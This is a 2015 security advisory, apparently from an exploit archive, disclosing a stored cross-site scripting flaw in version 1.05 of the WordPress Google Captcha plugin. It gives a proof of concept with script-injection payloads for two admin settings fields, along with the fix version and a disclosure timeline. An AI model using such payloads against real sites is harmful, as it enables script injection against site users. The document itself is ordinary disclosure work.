Exploit the possiblities

WordPress Google Captcha 1.05 Cross Site Scripting

WordPress Google Captcha 1.05 Cross Site Scripting
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress Google Captcha plugin version 1.05 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | ffb2fa65a88a294d47fa5750c0b6eb93

WordPress Google Captcha 1.05 Cross Site Scripting

Change Mirror Download
Plugin Name : Google Captcha (reCAPTCHA)

Effected Version : 1.05 (and most probably lower version's if any)

Vulnerability : A3-Cross-Site Scripting (XSS)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Administrator

PoC - (Proof of Concept) :

The following fields put the payload as below

http://localhost/wp-admin/admin.php?page=google-captcha.php

gglcptch_public_key = “><script>alert(1)</script>

gglcptch_private_key = “><script>alert(2)</script>


Vulnerable Parameter : gglcptch_public_key, gglcptch_private_key

Type of XSS : Stored

Fixed in : 1.06

http://wordpress.org/plugins/google-captcha/changelog/

Disclosure Timeline

Vendor Contacted : 2014-08-04

Plugin Status : Updated on 2014-08-07

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

The Google Captcha plugin allows you to implement a super security captcha form into web forms. Google Captcha is a free CAPTCHA service that helps to digitize books, newspapers and old time radio shows. This captcha can be used for login, registration, password recovery, comments forms.

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